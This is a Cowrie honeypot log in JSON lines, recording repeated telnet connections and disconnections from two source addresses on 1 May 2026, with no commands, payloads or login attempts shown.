{"eventid":"cowrie.session.closed","duration":30.77366805076599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.082145Z","src_ip":"208.115.219.122","session":"b33dfbcceb8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35244,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb7cc6916c8","protocol":"telnet","message":"New connection: 208.115.219.122:35244 (10.17.0.5:23) [session: 2bb7cc6916c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.129764Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57600,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b248026610","protocol":"telnet","message":"New connection: 208.115.200.90:57600 (10.17.0.5:23) [session: 18b248026610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.135940Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35316,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bd6da3ff538","protocol":"telnet","message":"New connection: 208.115.219.122:35316 (10.17.0.5:23) [session: 0bd6da3ff538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.226425Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57644,"dst_ip":"10.17.0.5","dst_port":23,"session":"3efedf546a60","protocol":"telnet","message":"New connection: 208.115.200.90:57644 (10.17.0.5:23) [session: 3efedf546a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.253876Z"}
{"eventid":"cowrie.session.closed","duration":31.270264387130737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.282875Z","src_ip":"208.115.219.122","session":"e35f0499d10a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670620918273926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.513479Z","src_ip":"208.115.219.122","session":"9b82f64b851a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35568,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b503f664f8","protocol":"telnet","message":"New connection: 208.115.219.122:35568 (10.17.0.5:23) [session: 95b503f664f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.541821Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57956,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e0b28a9d42","protocol":"telnet","message":"New connection: 208.115.200.90:57956 (10.17.0.5:23) [session: 79e0b28a9d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.630913Z"}
{"eventid":"cowrie.session.closed","duration":31.84948468208313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:16.902109Z","src_ip":"208.115.219.122","session":"29185c78e7ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90334916114807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.013168Z","src_ip":"208.115.219.122","session":"885c37d97eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905147075653076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.020693Z","src_ip":"208.115.219.122","session":"8e5033a498f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36204,"dst_ip":"10.17.0.5","dst_port":23,"session":"425dbedd945c","protocol":"telnet","message":"New connection: 208.115.219.122:36204 (10.17.0.5:23) [session: 425dbedd945c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.032608Z"}
{"eventid":"cowrie.session.closed","duration":30.420801401138306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.039984Z","src_ip":"208.115.219.122","session":"943a133ff8b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528886079788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.062934Z","src_ip":"208.115.219.122","session":"6cd1b7217a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36310,"dst_ip":"10.17.0.5","dst_port":23,"session":"4741e399c639","protocol":"telnet","message":"New connection: 208.115.219.122:36310 (10.17.0.5:23) [session: 4741e399c639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.088734Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36386,"dst_ip":"10.17.0.5","dst_port":23,"session":"be9e6073f7a7","protocol":"telnet","message":"New connection: 208.115.219.122:36386 (10.17.0.5:23) [session: be9e6073f7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.133575Z"}
{"eventid":"cowrie.session.closed","duration":31.346542358398438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.402279Z","src_ip":"208.115.219.122","session":"3cf022984e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58786,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2696b8731f","protocol":"telnet","message":"New connection: 208.115.200.90:58786 (10.17.0.5:23) [session: 2b2696b8731f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.408493Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59116,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e643373a7c3","protocol":"telnet","message":"New connection: 208.115.200.90:59116 (10.17.0.5:23) [session: 0e643373a7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.553036Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36862,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf08a6bc7b45","protocol":"telnet","message":"New connection: 208.115.219.122:36862 (10.17.0.5:23) [session: cf08a6bc7b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:17.718400Z"}
{"eventid":"cowrie.session.closed","duration":30.311084032058716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.022168Z","src_ip":"208.115.219.122","session":"cdd307f93d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973591804504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.029885Z","src_ip":"208.115.219.122","session":"c645bea14120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92280077934265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.047344Z","src_ip":"208.115.219.122","session":"8193ab4d69ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37066,"dst_ip":"10.17.0.5","dst_port":23,"session":"e05b89a8967e","protocol":"telnet","message":"New connection: 208.115.219.122:37066 (10.17.0.5:23) [session: e05b89a8967e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.115991Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59900,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf2059f4f17","protocol":"telnet","message":"New connection: 208.115.200.90:59900 (10.17.0.5:23) [session: 2cf2059f4f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.157833Z"}
{"eventid":"cowrie.session.closed","duration":30.76981210708618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.163638Z","src_ip":"208.115.219.122","session":"d050e8608492","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee29feece9f","protocol":"telnet","message":"New connection: 208.115.219.122:37118 (10.17.0.5:23) [session: 2ee29feece9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.170701Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37110,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29a777d2d00","protocol":"telnet","message":"New connection: 208.115.219.122:37110 (10.17.0.5:23) [session: d29a777d2d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.174768Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9ae9225b8af","protocol":"telnet","message":"New connection: 208.115.219.122:37140 (10.17.0.5:23) [session: e9ae9225b8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.224469Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37668,"dst_ip":"10.17.0.5","dst_port":23,"session":"347a860fd553","protocol":"telnet","message":"New connection: 208.115.219.122:37668 (10.17.0.5:23) [session: 347a860fd553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:18.896884Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37774,"dst_ip":"10.17.0.5","dst_port":23,"session":"8416326219bf","protocol":"telnet","message":"New connection: 208.115.219.122:37774 (10.17.0.5:23) [session: 8416326219bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.019099Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37798,"dst_ip":"10.17.0.5","dst_port":23,"session":"8305e8a469fd","protocol":"telnet","message":"New connection: 208.115.219.122:37798 (10.17.0.5:23) [session: 8305e8a469fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.055262Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37816,"dst_ip":"10.17.0.5","dst_port":23,"session":"8731cc7080ca","protocol":"telnet","message":"New connection: 208.115.219.122:37816 (10.17.0.5:23) [session: 8731cc7080ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.069964Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37988,"dst_ip":"10.17.0.5","dst_port":23,"session":"9542703b8161","protocol":"telnet","message":"New connection: 208.115.219.122:37988 (10.17.0.5:23) [session: 9542703b8161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.397398Z"}
{"eventid":"cowrie.session.closed","duration":30.60827136039734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.493905Z","src_ip":"208.115.219.122","session":"b50e65a6c676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.383047103881836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.532198Z","src_ip":"208.115.219.122","session":"f084fa355ca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33204,"dst_ip":"10.17.0.5","dst_port":23,"session":"537f27b1a9d8","protocol":"telnet","message":"New connection: 208.115.200.90:33204 (10.17.0.5:23) [session: 537f27b1a9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.563051Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"98af8257019a","protocol":"telnet","message":"New connection: 208.115.200.90:33298 (10.17.0.5:23) [session: 98af8257019a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.606911Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38150,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b359ab8fe52","protocol":"telnet","message":"New connection: 208.115.219.122:38150 (10.17.0.5:23) [session: 2b359ab8fe52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.749111Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33542,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d0e92fc388b","protocol":"telnet","message":"New connection: 208.115.200.90:33542 (10.17.0.5:23) [session: 9d0e92fc388b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:19.819187Z"}
{"eventid":"cowrie.session.closed","duration":30.82307767868042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.017105Z","src_ip":"208.115.219.122","session":"8cf314987c32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38342,"dst_ip":"10.17.0.5","dst_port":23,"session":"73897ab302cd","protocol":"telnet","message":"New connection: 208.115.219.122:38342 (10.17.0.5:23) [session: 73897ab302cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.021698Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36c635d227c","protocol":"telnet","message":"New connection: 208.115.200.90:33748 (10.17.0.5:23) [session: d36c635d227c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.029508Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b709825f3d","protocol":"telnet","message":"New connection: 208.115.200.90:33764 (10.17.0.5:23) [session: f2b709825f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.036622Z"}
{"eventid":"cowrie.session.closed","duration":30.241455793380737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.042818Z","src_ip":"208.115.219.122","session":"d3526a362fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38366,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f3ae768f69","protocol":"telnet","message":"New connection: 208.115.219.122:38366 (10.17.0.5:23) [session: 82f3ae768f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.048819Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38368,"dst_ip":"10.17.0.5","dst_port":23,"session":"2abf53e48fcc","protocol":"telnet","message":"New connection: 208.115.219.122:38368 (10.17.0.5:23) [session: 2abf53e48fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.083312Z"}
{"eventid":"cowrie.session.closed","duration":30.576263666152954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.128018Z","src_ip":"208.115.219.122","session":"d0f2a589a1fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80948281288147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.200757Z","src_ip":"208.115.219.122","session":"a4359e8e1e7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38438,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c379cefc12","protocol":"telnet","message":"New connection: 208.115.219.122:38438 (10.17.0.5:23) [session: 05c379cefc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.291938Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33832,"dst_ip":"10.17.0.5","dst_port":23,"session":"1514f5a4da13","protocol":"telnet","message":"New connection: 208.115.200.90:33832 (10.17.0.5:23) [session: 1514f5a4da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.311475Z"}
{"eventid":"cowrie.session.closed","duration":31.11731505393982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.317927Z","src_ip":"208.115.219.122","session":"53fdb2b99c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599781036376953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.340463Z","src_ip":"208.115.219.122","session":"ccc95eb60d2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37330150604248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.385756Z","src_ip":"208.115.219.122","session":"ecb4e80b35cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38510,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf07772519c3","protocol":"telnet","message":"New connection: 208.115.219.122:38510 (10.17.0.5:23) [session: bf07772519c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.394111Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33910,"dst_ip":"10.17.0.5","dst_port":23,"session":"04abd83265a5","protocol":"telnet","message":"New connection: 208.115.200.90:33910 (10.17.0.5:23) [session: 04abd83265a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.446413Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38566,"dst_ip":"10.17.0.5","dst_port":23,"session":"0570f02e5d29","protocol":"telnet","message":"New connection: 208.115.219.122:38566 (10.17.0.5:23) [session: 0570f02e5d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.491740Z"}
{"eventid":"cowrie.session.closed","duration":30.906772136688232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.505399Z","src_ip":"208.115.219.122","session":"4e41dea1fba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38674,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a947408fdc","protocol":"telnet","message":"New connection: 208.115.219.122:38674 (10.17.0.5:23) [session: 47a947408fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.765879Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34354,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ee1481071d","protocol":"telnet","message":"New connection: 208.115.200.90:34354 (10.17.0.5:23) [session: 68ee1481071d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.772247Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34524,"dst_ip":"10.17.0.5","dst_port":23,"session":"499a428623a2","protocol":"telnet","message":"New connection: 208.115.200.90:34524 (10.17.0.5:23) [session: 499a428623a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:20.859341Z"}
{"eventid":"cowrie.session.closed","duration":30.54308533668518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.022420Z","src_ip":"208.115.219.122","session":"9779147de5ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671388149261475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.060460Z","src_ip":"208.115.219.122","session":"1007f53506f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800867795944214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.076234Z","src_ip":"208.115.219.122","session":"c33b93965f8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072478771209717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.109159Z","src_ip":"208.115.219.122","session":"b2807d40e2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34762,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61e253944eb","protocol":"telnet","message":"New connection: 208.115.200.90:34762 (10.17.0.5:23) [session: e61e253944eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.148907Z"}
{"eventid":"cowrie.session.closed","duration":30.304993629455566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.157748Z","src_ip":"208.115.219.122","session":"9ef42f8c70fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38766,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f868c590cab","protocol":"telnet","message":"New connection: 208.115.219.122:38766 (10.17.0.5:23) [session: 2f868c590cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.180765Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38780,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee4ab073329b","protocol":"telnet","message":"New connection: 208.115.219.122:38780 (10.17.0.5:23) [session: ee4ab073329b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.210553Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34774,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ddf4eb898f9","protocol":"telnet","message":"New connection: 208.115.200.90:34774 (10.17.0.5:23) [session: 9ddf4eb898f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.254389Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34778,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0c321a96e6e","protocol":"telnet","message":"New connection: 208.115.200.90:34778 (10.17.0.5:23) [session: d0c321a96e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.261451Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35216,"dst_ip":"10.17.0.5","dst_port":23,"session":"5730c389d8e0","protocol":"telnet","message":"New connection: 208.115.200.90:35216 (10.17.0.5:23) [session: 5730c389d8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.702248Z"}
{"eventid":"cowrie.session.closed","duration":30.96553945541382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.733832Z","src_ip":"208.115.219.122","session":"3fc2dbf0c371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35272,"dst_ip":"10.17.0.5","dst_port":23,"session":"aedff2a4cc41","protocol":"telnet","message":"New connection: 208.115.200.90:35272 (10.17.0.5:23) [session: aedff2a4cc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.762595Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35360,"dst_ip":"10.17.0.5","dst_port":23,"session":"0178d4b1fe02","protocol":"telnet","message":"New connection: 208.115.200.90:35360 (10.17.0.5:23) [session: 0178d4b1fe02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:21.838291Z"}
{"eventid":"cowrie.session.closed","duration":30.260814428329468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.012282Z","src_ip":"208.115.219.122","session":"5c825bdaac76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35524,"dst_ip":"10.17.0.5","dst_port":23,"session":"192c755a5a09","protocol":"telnet","message":"New connection: 208.115.200.90:35524 (10.17.0.5:23) [session: 192c755a5a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.026525Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0cabc558005","protocol":"telnet","message":"New connection: 208.115.200.90:35548 (10.17.0.5:23) [session: e0cabc558005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.035171Z"}
{"eventid":"cowrie.session.closed","duration":31.01321816444397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.061564Z","src_ip":"208.115.219.122","session":"6bf355219639","protocol":"telnet"}
